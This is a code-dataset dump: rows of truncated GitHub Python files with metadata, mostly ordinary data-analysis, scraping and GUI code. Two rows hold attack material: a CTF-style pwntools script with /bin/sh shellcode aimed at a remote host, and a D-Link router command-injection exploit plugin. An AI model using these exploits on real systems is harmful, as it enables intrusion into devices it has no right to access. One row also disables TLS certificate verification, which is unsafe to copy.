seq_id
string
text
string
repo_name
string
sub_path
string
file_name
string
file_ext
string
file_size_in_byte
int64
program_lang
string
lang
string
doc_type
string
stars
int64
dataset
string
pt
string
api
list
7824439491
#LIBRERIAS A UTILIZAR import pandas as pd from sklearn.impute import SimpleImputer import numpy as np from sklearn.preprocessing import LabelEncoder import matplotlib.pyplot as plt import seaborn as seabornInstance from sklearn.model_selection import train_test_split #libreria para poder separar los datos entr...
alextsosa17/Analisis-de-Datos-y-prediccion--Python
TpFinalAlexSosa.py
TpFinalAlexSosa.py
py
6,299
python
es
code
0
github-code
6
[ { "api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call" }, { "api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 55, "usage_type": "call" }, { "api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 59, "usage_type": "call" }, { ...
43918724986
import streamlit as st import pandas as pd import plotly.express as px import seaborn as sns import ssl ssl._create_default_https_context = ssl._create_unverified_context st.set_option('deprecation.showPyplotGlobalUse', False) # Loading dataset df = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databa...
avrabyt/Holiday-coding-session
streamlit_app.py
streamlit_app.py
py
1,556
python
en
code
3
github-code
6
[ { "api_name": "ssl._create_default_https_context", "line_number": 7, "usage_type": "attribute" }, { "api_name": "ssl._create_unverified_context", "line_number": 7, "usage_type": "attribute" }, { "api_name": "streamlit.set_option", "line_number": 9, "usage_type": "call" ...
27937806135
#!/usr/bin/python # coding: utf-8 import numpy as np import cv2 import csv import os import shutil import shutil import logging def to_image_string(image_filepath): return open(image_filepath, "rb").read().encode("base64") def from_base64(base64_data): nparr = np.fromstring(base64_data.decode("base64"), np....
Zyniel/DansePlanningManager
src/app/utils.py
utils.py
py
1,569
python
en
code
0
github-code
6
[ { "api_name": "numpy.fromstring", "line_number": 17, "usage_type": "call" }, { "api_name": "numpy.uint8", "line_number": 17, "usage_type": "attribute" }, { "api_name": "cv2.imdecode", "line_number": 18, "usage_type": "call" }, { "api_name": "cv2.IMREAD_ANYCOLOR", ...
12267302602
# -*- coding: utf-8 -*- import scrapy from collections import OrderedDict class BriefingEarningsSpider(scrapy.Spider): name = 'briefing_earnings' allowed_domains = ['www.briefing.com'] start_urls = ['https://www.briefing.com/Inv/content/Auth/Calendar/Earnings/week1.htm'] # Current week (week1) def ...
kompotkot/WebScraper-Stocksinplay
stocksinplay/spiders/briefing_earnings.py
briefing_earnings.py
py
1,854
python
en
code
0
github-code
6
[ { "api_name": "scrapy.Spider", "line_number": 7, "usage_type": "attribute" }, { "api_name": "collections.OrderedDict", "line_number": 15, "usage_type": "call" }, { "api_name": "collections.OrderedDict", "line_number": 21, "usage_type": "call" } ]
38902423747
import time import subprocess import digitalio import board from PIL import Image, ImageDraw, ImageFont import adafruit_rgb_display.st7789 as st7789 import pynmea2 import sys from subprocess import Popen, PIPE import serial import io # Configuration for CS and DC pins (these are FeatherWing defaults on M0/M4): cs_pin ...
vwls/toolbox
gps_data_to_screen.py
gps_data_to_screen.py
py
4,226
python
en
code
0
github-code
6
[ { "api_name": "digitalio.DigitalInOut", "line_number": 14, "usage_type": "call" }, { "api_name": "board.CE0", "line_number": 14, "usage_type": "attribute" }, { "api_name": "digitalio.DigitalInOut", "line_number": 15, "usage_type": "call" }, { "api_name": "board.D2...
33415585016
import cv2 as cv import numpy as np from matplotlib import pyplot as plt import scipy.optimize as optimize # Opening image img = cv.imread("red.png") # Uncomment this and run the program to make sure the # convex_hull_pointing_up algorithm works # img = cv.rotate(img, cv.ROTATE_180) # OpenCV stores im...
IamParvSinghal/Wisconsin_Autonomous
CV.py
CV.py
py
4,280
python
en
code
0
github-code
6
[ { "api_name": "cv2.imread", "line_number": 7, "usage_type": "call" }, { "api_name": "cv2.cvtColor", "line_number": 16, "usage_type": "call" }, { "api_name": "cv2.COLOR_BGR2RGB", "line_number": 16, "usage_type": "attribute" }, { "api_name": "cv2.cvtColor", "lin...
11296078217
import requests import json data = { "a": "GetBidYiDong", "Token": "29db4b581d67ec1c46a231e09e919671", "c": "StockBidYiDong", "UserID": 19, "day": "20171026" } url = "https://hq.kaipanla.com/w1/api/index.php" respone = requests.post(url, data) respone.encoding = "unicode_escape" result = respone....
mykright/auto_stock_search
竞价.py
竞价.py
py
778
python
en
code
3
github-code
6
[ { "api_name": "requests.post", "line_number": 14, "usage_type": "call" }, { "api_name": "json.loads", "line_number": 21, "usage_type": "call" } ]
70063403388
from multiprocessing import context from pwn import * from LibcSearcher import * context.log_level = 'debug' # p=process('./pwn') p=remote('t.ctf.qwq.cc',49468) pause() elf=ELF('./pwn') context.arch ='amd64' context.bits=64 shellcode=asm('push 0x68;mov rax ,0x68732f6e69622f;push rax;mov rdi,rsp;xor rsi, rsi;xor rd...
CookedMelon/mypwn
NPU/shellcode/exp.py
exp.py
py
520
python
en
code
3
github-code
6
[ { "api_name": "multiprocessing.context.log_level", "line_number": 4, "usage_type": "attribute" }, { "api_name": "multiprocessing.context", "line_number": 4, "usage_type": "name" }, { "api_name": "multiprocessing.context.arch", "line_number": 10, "usage_type": "attribute" ...
37197760033
from datetime import datetime class Greeter: def __init__(self, name): self.name = name def day(): return datetime.now().strftime('%A') def part_of_day(): # Определяет часть, дня основываясь на текущем часе current_hour = datetime.now().hour if current_hour < 12: ...
alecksandr-slavin/git_work
stepick_v1/new.py
new.py
py
980
python
ru
code
0
github-code
6
[ { "api_name": "datetime.datetime.now", "line_number": 9, "usage_type": "call" }, { "api_name": "datetime.datetime", "line_number": 9, "usage_type": "name" }, { "api_name": "datetime.datetime.now", "line_number": 12, "usage_type": "call" }, { "api_name": "datetime....
4886937902
import numpy as np import torch def ious(box, boxes, isMin = False):#定义iou函数 box_area = (box[3] - box[1]) * (box[4] - box[2])#计算自信度最大框的面积 area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 4] - boxes[:, 2])#计算其他所有框的面积 xx1 = torch.max(box[1], boxes[:, 1])#计算交集左上角x的坐标其他同理 yy1 = torch.max(box[2], box...
RockingHorse-L/yolov3
YOLOV3/tool1.py
tool1.py
py
2,668
python
zh
code
2
github-code
6
[ { "api_name": "torch.max", "line_number": 8, "usage_type": "call" }, { "api_name": "torch.max", "line_number": 9, "usage_type": "call" }, { "api_name": "torch.min", "line_number": 10, "usage_type": "call" }, { "api_name": "torch.min", "line_number": 11, "u...
26053687100
from itertools import permutations vowels = ["а"] consonants = ["б", "т", "с"] result = set() for index, i in enumerate(permutations("аббатиса")): correct = True for symbol_index in range(0, len(i) - 1): if (i[symbol_index] in vowels and i[symbol_index + 1] in vowels) or \ (i[symbol_in...
Woolfer0097/UGE_IT
8 task/235.py
235.py
py
495
python
en
code
0
github-code
6
[ { "api_name": "itertools.permutations", "line_number": 7, "usage_type": "call" } ]
17430789952
#!/usr/bin/python # https://www.udemy.com/course/complete-python-developer-zero-to-mastery/ # 246. Hacker News Project # https://www.synerzip.com/blog/web-scraping-introduction-applications-and-best-practices/ # https://www.crummy.com/software/BeautifulSoup/ # https://www.crummy.com/software/BeautifulSoup/bs4/doc/ #...
olexandrch/UdemyCompletePythonDeveloper
Sec.18 246 Hacker News Project.py
Sec.18 246 Hacker News Project.py
py
1,683
python
en
code
0
github-code
6
[ { "api_name": "requests.get", "line_number": 28, "usage_type": "call" }, { "api_name": "bs4.BeautifulSoup", "line_number": 29, "usage_type": "call" }, { "api_name": "requests.get", "line_number": 34, "usage_type": "call" }, { "api_name": "bs4.BeautifulSoup", "...
37431499468
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' name: Dlink DIAGNOSTIC.PHP命令执行 referer: https://www.exploit-db.com/exploits/24956 author: Lucifer description: Some D-Link Routers are vulnerable to OS Command injection in the web interface. On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On ...
iceyhexman/onlinetools
scanner/plugins/hardware/router/router_dlink_command_exec.py
router_dlink_command_exec.py
py
2,122
python
en
code
1,626
github-code
6
[ { "api_name": "requests.post", "line_number": 34, "usage_type": "call" }, { "api_name": "json.dumps", "line_number": 36, "usage_type": "call" }, { "api_name": "sys.argv", "line_number": 43, "usage_type": "attribute" } ]
42095434916
from selenium import webdriver # driver de selenium from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.options import Options from selenium_stealth import stealth # Ayuda a evitar que las webs nos detecten que somos un bot from shutil import which def iniciar_webdriver(headless=True):...
Jonnathan1093/Telegram-Chatbot
ChatHeroku/iniciar_Webdriver.py
iniciar_Webdriver.py
py
1,666
python
es
code
0
github-code
6
[ { "api_name": "selenium.webdriver.chrome.options.Options", "line_number": 8, "usage_type": "call" }, { "api_name": "selenium.webdriver.chrome.service.Service", "line_number": 21, "usage_type": "call" }, { "api_name": "shutil.which", "line_number": 21, "usage_type": "call"...
29250448134
from __future__ import annotations import os import unittest from collections import defaultdict, namedtuple from math import ceil from typing import Any, Iterator import numpy as np from rtree.index import Index, Property, RT_TPRTree class Cartesian( namedtuple( "Cartesian", ("id", "time", "x"...
Toblerity/rtree
tests/test_tpr.py
test_tpr.py
py
7,681
python
en
code
573
github-code
6
[ { "api_name": "collections.namedtuple", "line_number": 15, "usage_type": "call" }, { "api_name": "collections.namedtuple", "line_number": 46, "usage_type": "call" }, { "api_name": "numpy.random.uniform", "line_number": 87, "usage_type": "call" }, { "api_name": "nu...
15200494736
#!/usr/bin/env python from numpy import array from math import sqrt from pyspark import SparkContext # from pyspark.mllib.clustering import KMeans, KMeansModel from pyspark.mllib.clustering import KMeans sc = SparkContext(appName="Kmeans Pyspark") # Load and parse the data data = sc.textFile("hdfs://localhost:9000/...
sindongboy/topinion
python/lda.py
lda.py
py
1,071
python
en
code
0
github-code
6
[ { "api_name": "pyspark.SparkContext", "line_number": 10, "usage_type": "call" }, { "api_name": "numpy.array", "line_number": 16, "usage_type": "call" }, { "api_name": "pyspark.mllib.clustering.KMeans.train", "line_number": 20, "usage_type": "call" }, { "api_name":...
31344968208
from tkinter import * import tkinter, threading from tkinter import messagebox as tmsg from tkinter import ttk import random import datetime import imageio import time from PIL import Image, ImageTk import smtplib as s import config root1 = Tk() root1.geometry("1208x830") root1.wm_iconbitmap("Artboard 1....
zuwanish/Tour-Management-System
MAIN PROJECT GUI BASED.py
MAIN PROJECT GUI BASED.py
py
30,680
python
en
code
0
github-code
6
[ { "api_name": "imageio.get_reader", "line_number": 20, "usage_type": "call" }, { "api_name": "time.sleep", "line_number": 24, "usage_type": "call" }, { "api_name": "PIL.Image.open", "line_number": 36, "usage_type": "call" }, { "api_name": "PIL.Image", "line_nu...
21433461529
import csv import logging import os logger = logging.getLogger("app_logger") # Channels with extra long videos messing up the stats and to be deleted, # or other channels you just don't want to include. CHANNELS_NOT_TO_IMPORT = ["4k SCREENSAVERS", "Nature Relaxation Films", "4K Relaxation Channel"] # Some extra lo...
arilaakso/viewinginsights
import_data_into_db.py
import_data_into_db.py
py
4,855
python
en
code
0
github-code
6
[ { "api_name": "logging.getLogger", "line_number": 5, "usage_type": "call" }, { "api_name": "os.path.abspath", "line_number": 19, "usage_type": "call" }, { "api_name": "os.path", "line_number": 19, "usage_type": "attribute" }, { "api_name": "os.getenv", "line_n...
73815165306
from random import random from time import time from cachier import cachier @cachier(next_time=True) def _test_int_pickling(int_1, int_2): """Add the two given ints.""" return int_1 + int_2 def _test_int_pickling_compare(int_1, int_2): """Add the two given ints.""" return int_1 + int_2 def test_p...
python-cachier/cachier
tests/speed_eval.py
speed_eval.py
py
1,903
python
en
code
470
github-code
6
[ { "api_name": "cachier.cachier", "line_number": 7, "usage_type": "call" }, { "api_name": "time.time", "line_number": 24, "usage_type": "call" }, { "api_name": "time.time", "line_number": 26, "usage_type": "call" }, { "api_name": "time.time", "line_number": 34,...
40260766080
import gvar as gv import corrfitter as cf import numpy as np import collections import matplotlib import matplotlib.pyplot as plt import matplotlib.patches as mpatches from matplotlib.ticker import MultipleLocator matplotlib.use('Agg') plt.rc("font",**{"size":18}) import datetime import os import pickle import copy #fr...
WillParrott/New_bodiddley_fitter
functions.py
functions.py
py
47,341
python
en
code
0
github-code
6
[ { "api_name": "matplotlib.use", "line_number": 9, "usage_type": "call" }, { "api_name": "matplotlib.pyplot.rc", "line_number": 10, "usage_type": "call" }, { "api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name" }, { "api_name": "lsqfit.nonlinear...
30097122943
""" Comments scraper class""" import json import logging import random from time import sleep import numpy as np import pandas as pd from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait from scr...
ScrPzz/InstagramScraper
src/comments_scraper.py
comments_scraper.py
py
4,554
python
en
code
2
github-code
6
[ { "api_name": "logging.basicConfig", "line_number": 17, "usage_type": "call" }, { "api_name": "logging.CRITICAL", "line_number": 18, "usage_type": "attribute" }, { "api_name": "time.sleep", "line_number": 34, "usage_type": "call" }, { "api_name": "random.choice", ...
6605463296
from itertools import combinations from collections import Counter def solution(orders, course): answer = [] for c in course: temp = [] for order in orders: combi = combinations(sorted(order), c) temp += combi counter = Counter(temp) if len(counter) != 0 and max(counter.values()) != 1: ...
JeongGod/Algo-study
3people/6week/p72411.py
p72411.py
py
457
python
en
code
7
github-code
6
[ { "api_name": "itertools.combinations", "line_number": 9, "usage_type": "call" }, { "api_name": "collections.Counter", "line_number": 11, "usage_type": "call" } ]
33353045212
from django.contrib.auth.models import User from django.db import models # Create your models here. from django.db.models.signals import pre_delete from django.dispatch import receiver class CommonInfo(models.Model): # 开始时间 auto_now_add=True, startday = models.DateField(verbose_name="下单时间", null=True) # ...
willmaker2022/drfvueblog
productplan/models.py
models.py
py
6,808
python
en
code
0
github-code
6
[ { "api_name": "django.db.models.Model", "line_number": 9, "usage_type": "attribute" }, { "api_name": "django.db.models", "line_number": 9, "usage_type": "name" }, { "api_name": "django.db.models.DateField", "line_number": 11, "usage_type": "call" }, { "api_name": ...
43573832015
import argparse from experiment.monitor import monitor from apps.qe import qe if __name__ == '__main__': parser = argparse.ArgumentParser() monitor.setup_run_args(parser) qe.setup_run_args(parser) args, extra_args = parser.parse_known_args() app_conf = qe.QuantumEspressoAppConf(args.node_count, a...
geopm/geopm
integration/experiment/monitor/run_monitor_qe.py
run_monitor_qe.py
py
440
python
en
code
79
github-code
6
[ { "api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call" }, { "api_name": "experiment.monitor.monitor.setup_run_args", "line_number": 8, "usage_type": "call" }, { "api_name": "experiment.monitor.monitor", "line_number": 8, "usage_type": "name" }, ...
38036093112
import logging from collections import defaultdict from typing import Dict, Optional, Tuple, Union import numpy as np from matplotlib import rcParams from matplotlib.axes import SubplotBase from matplotlib.axis import Axis from matplotlib.colors import LogNorm from matplotlib.ticker import AutoMinorLocator, MaxNLocato...
hackingmaterials/amset
amset/plot/lineshape.py
lineshape.py
py
14,486
python
en
code
110
github-code
6
[ { "api_name": "logging.getLogger", "line_number": 30, "usage_type": "call" }, { "api_name": "amset.plot.BaseMeshPlotter", "line_number": 33, "usage_type": "name" }, { "api_name": "amset.constants.defaults", "line_number": 38, "usage_type": "name" }, { "api_name": ...
17532275577
import backtrader as bt import backtrader.analyzers as btanalyzers import matplotlib import matplotlib.dates as mdates from matplotlib import pyplot as plt from datetime import datetime import pandas as pd import datetime as dt # Create a subclass of Strategy to define the indicators and logic class SMA_CrossStrategy(...
erkundanec/Trading_Strategies
04_Backtest_Backtrader_SMA_CrossOver.py
04_Backtest_Backtrader_SMA_CrossOver.py
py
3,013
python
en
code
0
github-code
6
[ { "api_name": "backtrader.Strategy", "line_number": 11, "usage_type": "attribute" }, { "api_name": "backtrader.ind.SMA", "line_number": 14, "usage_type": "call" }, { "api_name": "backtrader.ind", "line_number": 14, "usage_type": "attribute" }, { "api_name": "backt...
27610406237
from flask import Flask, request, render_template, redirect, flash, session from flask_debugtoolbar import DebugToolbarExtension from surveys import surveys, satisfaction_survey, personality_quiz app = Flask(__name__) app.config['SECRET_KEY'] = "secret_code_here" # app.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False #...
Tetyana-I/flask-survey
app.py
app.py
py
3,204
python
en
code
0
github-code
6
[ { "api_name": "flask.Flask", "line_number": 5, "usage_type": "call" }, { "api_name": "flask.render_template", "line_number": 14, "usage_type": "call" }, { "api_name": "surveys.surveys.items", "line_number": 14, "usage_type": "call" }, { "api_name": "surveys.survey...
72344006587
from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf import datasets import utils FLAGS = tf.flags.FLAGS def get_lr(global_step, base_lr, steps_per_epoch, # pylint: disable=missing-docstring decay_epochs, lr_decay_factor, w...
google/revisiting-self-supervised
trainer.py
trainer.py
py
4,425
python
en
code
349
github-code
6
[ { "api_name": "tensorflow.flags", "line_number": 10, "usage_type": "attribute" }, { "api_name": "tensorflow.cast", "line_number": 18, "usage_type": "call" }, { "api_name": "tensorflow.float32", "line_number": 18, "usage_type": "attribute" }, { "api_name": "tensorf...
26246786176
import argparse import logging from typing import List import torch import torch.nn as nn from .probe_base import ProbeBase logger = logging.getLogger(__name__) class OneWordNNProbe(ProbeBase): """ Computes all squared L2 norm of n words as depths after an MLP projection. Can be used for probing the de...
VSJMilewski/multimodal-probes
probing_project/probes/one_word_nn_probe.py
one_word_nn_probe.py
py
2,291
python
en
code
10
github-code
6
[ { "api_name": "logging.getLogger", "line_number": 10, "usage_type": "call" }, { "api_name": "probe_base.ProbeBase", "line_number": 13, "usage_type": "name" }, { "api_name": "logging.info", "line_number": 22, "usage_type": "call" }, { "api_name": "torch.nn.Linear",...
20519700810
"""! @brief Cluster analysis algorithm: X-Means @details Implementation based on papers @cite article::xmeans::1, @cite article::xmeans::mndl @authors Andrei Novikov (pyclustering@yandex.ru) @date 2014-2020 @copyright BSD-3-Clause """ import copy import numpy from enum import IntEnum from math imp...
annoviko/pyclustering
pyclustering/cluster/xmeans.py
xmeans.py
py
28,247
python
en
code
1,113
github-code
6
[ { "api_name": "enum.IntEnum", "line_number": 31, "usage_type": "name" }, { "api_name": "numpy.array", "line_number": 181, "usage_type": "call" }, { "api_name": "copy.copy", "line_number": 184, "usage_type": "call" }, { "api_name": "pyclustering.utils.distance_metr...
38149030065
import pygame from pygame.surface import * from pygame.sprite import Sprite from pygame.sprite import RenderUpdates as SpriteGroup from pygame.sprite import spritecollide from pygame.sprite import spritecollideany from pygame.rect import Rect from random import * from config import * from log import * screen = None ...
mikedll/pybomber2
desktop/widget.py
widget.py
py
5,122
python
en
code
1
github-code
6
[ { "api_name": "pygame.Surface", "line_number": 20, "usage_type": "call" }, { "api_name": "pygame.init", "line_number": 27, "usage_type": "call" }, { "api_name": "pygame.display.set_mode", "line_number": 30, "usage_type": "call" }, { "api_name": "pygame.display", ...
18659256455
import asyncpg from app.main import create_app from app.settings import Settings from tests.test_currencies import test_currencies_success settings = Settings() async def test_rate_success(aiohttp_client, loop): currencies = await test_currencies_success(aiohttp_client, loop) currency = currencies['results'...
ridhid/test_aio
tests/test_rate.py
test_rate.py
py
1,745
python
en
code
0
github-code
6
[ { "api_name": "app.settings.Settings", "line_number": 7, "usage_type": "call" }, { "api_name": "tests.test_currencies.test_currencies_success", "line_number": 11, "usage_type": "call" }, { "api_name": "app.main.create_app", "line_number": 13, "usage_type": "argument" },...
25875832480
#!/usr/bin/env python # This is more of a work in progress, but this script will # test the code for creating vespagrams with our curved wavefront correction. import obspy import numpy as np import time import matplotlib.pyplot as plt import circ_array as c from circ_beam import Vespagram_Lin, Vespagram_PWS, Baz_ves...
eejwa/Array_Seis_Circle
examples/Vespagram_test.py
Vespagram_test.py
py
4,213
python
en
code
7
github-code
6
[ { "api_name": "obspy.read", "line_number": 25, "usage_type": "call" }, { "api_name": "circ_array.get_eventtime", "line_number": 28, "usage_type": "call" }, { "api_name": "circ_array.get_geometry", "line_number": 29, "usage_type": "call" }, { "api_name": "circ_arra...
30610778506
""" Meta manager. Defines complex workflow in terms of lower level managers For usage example see tests """ import re from time import time import logging from collections import defaultdict, OrderedDict as odict from copy import copy, deepcopy import yaml from shub_workflow.base import WorkFlowManager from .util...
hermit-crab/shub-workflow
shub_workflow/graph/__init__.py
__init__.py
py
17,269
python
en
code
null
github-code
6
[ { "api_name": "logging.getLogger", "line_number": 21, "usage_type": "call" }, { "api_name": "re.compile", "line_number": 24, "usage_type": "call" }, { "api_name": "shub_workflow.base.WorkFlowManager", "line_number": 27, "usage_type": "name" }, { "api_name": "colle...
18028682844
from pyfiglet import Figlet import os from shutil import copyfile import shutil import sqlite3 import subprocess import winreg import base64 import subprocess import datetime import socket import ctypes def init(): f = Figlet(font='slant') print(f.renderText('Reboot')) print("This program is Artifa...
KIMJOONSIG/Reboot3
Windows/reboot3.py
reboot3.py
py
36,418
python
en
code
0
github-code
6
[ { "api_name": "pyfiglet.Figlet", "line_number": 15, "usage_type": "call" }, { "api_name": "os.getcwd", "line_number": 56, "usage_type": "call" }, { "api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 58, "usage_type": "attribute" }, { "api_name": "winreg.HKEY_...
23404494402
"""Test the concurrency module.""" from typing import Any import pytest from rtasr.concurrency import ConcurrencyHandler, ConcurrencyToken class TestConcurrencyToken: """Test the ConcurrencyToken class.""" @pytest.mark.parametrize("value", [None, "string", True, False, [], {}]) def test_concurrency_to...
Wordcab/rtasr
tests/test_concurrency.py
test_concurrency.py
py
2,077
python
en
code
5
github-code
6
[ { "api_name": "typing.Any", "line_number": 14, "usage_type": "name" }, { "api_name": "pytest.raises", "line_number": 16, "usage_type": "call" }, { "api_name": "rtasr.concurrency.ConcurrencyToken", "line_number": 17, "usage_type": "call" }, { "api_name": "pytest.ma...
6173790975
import csv import sqlite3 import numpy as np import pandas as pd from nltk.stem.porter import * from nltk.tokenize import word_tokenize from nltk.corpus import stopwords import string from PIL import Image from os import path import matplotlib.pyplot as plt import matplotlib as mpl import pickle from sklearn.svm impor...
zzhang83/Yelp_Sentiment_Analysis
Scripts/UI.py
UI.py
py
6,335
python
en
code
20
github-code
6
[ { "api_name": "nltk.stem.SnowballStemmer", "line_number": 23, "usage_type": "call" }, { "api_name": "nltk.stem.WordNetLemmatizer", "line_number": 24, "usage_type": "call" }, { "api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call" }, { "api_name": ...
8190287555
#!/usr/bin/env python3 # Get sequences from NCBI. # To be called from Snakefile. # Usage: python windows.py <infile> <outfile> <email> <window_size> import os import sys from Bio import Entrez from Bio import SeqIO import pandas as pd def main(): snpfile = sys.argv[1] outfile = sys.argv[2] email = sys....
mpjuers/SexualSelectionSubstitutions
Scripts/GetData/windows.py
windows.py
py
1,594
python
en
code
0
github-code
6
[ { "api_name": "sys.argv", "line_number": 16, "usage_type": "attribute" }, { "api_name": "sys.argv", "line_number": 17, "usage_type": "attribute" }, { "api_name": "sys.argv", "line_number": 18, "usage_type": "attribute" }, { "api_name": "sys.argv", "line_number...
29284148447
# -*- coding: utf-8 -*- import sys import re import pdb import sqlite3 def to_numbers(ch): n_dict = {"一":1,\ "二":2,\ "三":3,\ "四":4,\ "五":5,\ "六":6,\ "七":7,\ "八":8,\ "九":9,\ "十":10} retu...
Tubao/xkx
pkuxkx/gps/store_npcs.py
store_npcs.py
py
3,716
python
en
code
2
github-code
6
[ { "api_name": "re.compile", "line_number": 27, "usage_type": "call" }, { "api_name": "sqlite3.connect", "line_number": 28, "usage_type": "call" }, { "api_name": "re.compile", "line_number": 37, "usage_type": "call" }, { "api_name": "sys.argv", "line_number": 8...
17233943864
# coding: utf-8 """ Refinery Calc API Documentation Integrate the powerful Refinery Calc Engine into your process using this API. # noqa: E501 OpenAPI spec version: 1.0 Contact: support@refinerycalc.com.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint impor...
refinerycalc/sdk-example-python
python/refinerycalc/models/output_types.py
output_types.py
py
19,790
python
en
code
0
github-code
6
[ { "api_name": "six.iteritems", "line_number": 616, "usage_type": "call" }, { "api_name": "pprint.pformat", "line_number": 641, "usage_type": "call" } ]
32552302191
import threading import wikipedia from kivy.clock import mainthread from kivymd.app import MDApp class MainApp(MDApp): url = "" def build(self): self.title = "Wikipedia-App" @mainthread def search(self, text): t1 = threading.Thread(target=self.get_wiki, args=(text,), daemon=True) ...
Kulothungan16/Example-Kivy-Apps
WikiPedia/main.py
main.py
py
1,052
python
en
code
42
github-code
6
[ { "api_name": "kivymd.app.MDApp", "line_number": 8, "usage_type": "name" }, { "api_name": "threading.Thread", "line_number": 16, "usage_type": "call" }, { "api_name": "kivy.clock.mainthread", "line_number": 14, "usage_type": "name" }, { "api_name": "wikipedia.set_...
457427877
# encoding: utf-8 """ @author: liaoxingyu @contact: sherlockliao01@gmail.com """ import logging import math from collections import OrderedDict import torch from torch import nn import torch.nn.functional as F from torch.autograd.variable import Variable from fastreid.modeling.ops import MetaConv2d, MetaLinear, Meta...
peterzpy/ACL-DGReID
fastreid/modeling/backbones/meta_dynamic_router_resnet.py
meta_dynamic_router_resnet.py
py
29,474
python
en
code
8
github-code
6
[ { "api_name": "logging.getLogger", "line_number": 29, "usage_type": "call" }, { "api_name": "torch.autograd.variable.Variable", "line_number": 43, "usage_type": "name" }, { "api_name": "torch.autograd.variable.Variable", "line_number": 44, "usage_type": "call" }, { ...
71578007227
import h5py import os from torch.utils.data import Dataset from DVS_dataload.my_transforms import * from PIL import Image import torch import numpy as np class DVSGestureDataset(Dataset): def __init__(self, root, train=True, transform=None): super(DVSGestureDataset, self).__init__() self.n = 0 ...
langfengQ/MLF-DSResNet
DVS_dataload/DVS_Gesture_dataset.py
DVS_Gesture_dataset.py
py
1,762
python
en
code
8
github-code
6
[ { "api_name": "torch.utils.data.Dataset", "line_number": 10, "usage_type": "name" }, { "api_name": "os.path.join", "line_number": 19, "usage_type": "call" }, { "api_name": "os.path", "line_number": 19, "usage_type": "attribute" }, { "api_name": "os.walk", "lin...
6020834834
import os import cv2 import shutil source_path = 'test_copy_image' des_path = 'train_image_label' def get_all_label_file_to_image_file(): list_file = os.listdir(source_path) list_label = [file for file in list_file if file.endswith('.txt')] return list_label def copy_image_according_to_label(): label...
hluong89/calc_bounding_box_YOLO
copy_image_according_to_labels.py
copy_image_according_to_labels.py
py
1,014
python
en
code
1
github-code
6
[ { "api_name": "os.listdir", "line_number": 9, "usage_type": "call" }, { "api_name": "os.path.join", "line_number": 21, "usage_type": "call" }, { "api_name": "os.path", "line_number": 21, "usage_type": "attribute" }, { "api_name": "os.path.join", "line_number":...
70075665148
#!/usr/bin/env python3 """ Cache class. In the __init__ method, store an instance of the Redis } client as a private variable named _redis (using redis.Redis()) and flush the instance using flushdb. """ import redis from typing import Union, Optional, Callable from uuid import uuid4 from functools import wraps def ...
lemejiamo/holbertonschool-backend-storage
0x02-redis_basic/exercise.py
exercise.py
py
3,014
python
en
code
1
github-code
6
[ { "api_name": "typing.Callable", "line_number": 15, "usage_type": "name" }, { "api_name": "functools.wraps", "line_number": 22, "usage_type": "call" }, { "api_name": "typing.Callable", "line_number": 31, "usage_type": "name" }, { "api_name": "functools.wraps", ...
32715528590
#!/usr/bin/env python3 __requires__ = ''' plover>=4.0.0.dev2 setuptools>=30.3.0 ''' from setuptools import setup from plover_build_utils.setup import BuildPy, BuildUi BuildPy.build_dependencies.append('build_ui') BuildUi.hooks = ['plover_build_utils.pyqt:fix_icons'] cmdclass = { 'build_py': BuildPy, 'build_...
morinted/plover_layout_display
setup.py
setup.py
py
362
python
en
code
12
github-code
6
[ { "api_name": "plover_build_utils.setup.BuildPy.build_dependencies.append", "line_number": 12, "usage_type": "call" }, { "api_name": "plover_build_utils.setup.BuildPy.build_dependencies", "line_number": 12, "usage_type": "attribute" }, { "api_name": "plover_build_utils.setup.Buil...
16438405840
# -*- coding: utf-8 -*- """ # @file name : target.py # @author : chenzhanpeng https://github.com/chenzpstar # @date : 2022-01-09 # @brief : FCOS训练目标类 """ import torch import torch.nn as nn from models.config import FCOSConfig from models.utils import coords2centers, coords2offsets, decode_coords, resh...
ydlam/Fcos-main
models/target.py
target.py
py
4,816
python
en
code
0
github-code
6
[ { "api_name": "torch.nn.Module", "line_number": 16, "usage_type": "attribute" }, { "api_name": "torch.nn", "line_number": 16, "usage_type": "name" }, { "api_name": "models.config.FCOSConfig", "line_number": 20, "usage_type": "name" }, { "api_name": "models.utils.d...
41364868505
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Oct 31 11:56:58 2019 @author: saransh """ import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn.cluster import KMeans,AgglomerativeClustering,DBSCAN from sklearn.datasets import load_digits from sklearn.decomposition impor...
Saransh0905/Data-Science-3
agglomerativeClustering and DBSCAN/lab11.py
lab11.py
py
3,419
python
en
code
1
github-code
6
[ { "api_name": "sklearn.metrics.cluster.contingency_matrix", "line_number": 20, "usage_type": "call" }, { "api_name": "sklearn.metrics.cluster", "line_number": 20, "usage_type": "attribute" }, { "api_name": "sklearn.metrics", "line_number": 20, "usage_type": "name" }, ...
74743616826
from PyQt4.QtGui import QApplication, QFrame, QPalette, QLabel, QPixmap from PyQt4.QtCore import Qt, QRect, QCoreApplication class BareFrame(QFrame): def __init__(self, parent=None): super(BareFrame, self).__init__(parent) self.setWindowFlags(Qt.FramelessWindowHint) self.setFrameShadow(QF...
kurtraschke/camelot
camelot/view/controls/dashboard.py
dashboard.py
py
2,127
python
en
code
4
github-code
6
[ { "api_name": "PyQt4.QtGui.QFrame", "line_number": 5, "usage_type": "name" }, { "api_name": "PyQt4.QtCore.Qt.FramelessWindowHint", "line_number": 9, "usage_type": "attribute" }, { "api_name": "PyQt4.QtCore.Qt", "line_number": 9, "usage_type": "name" }, { "api_name...
32506946053
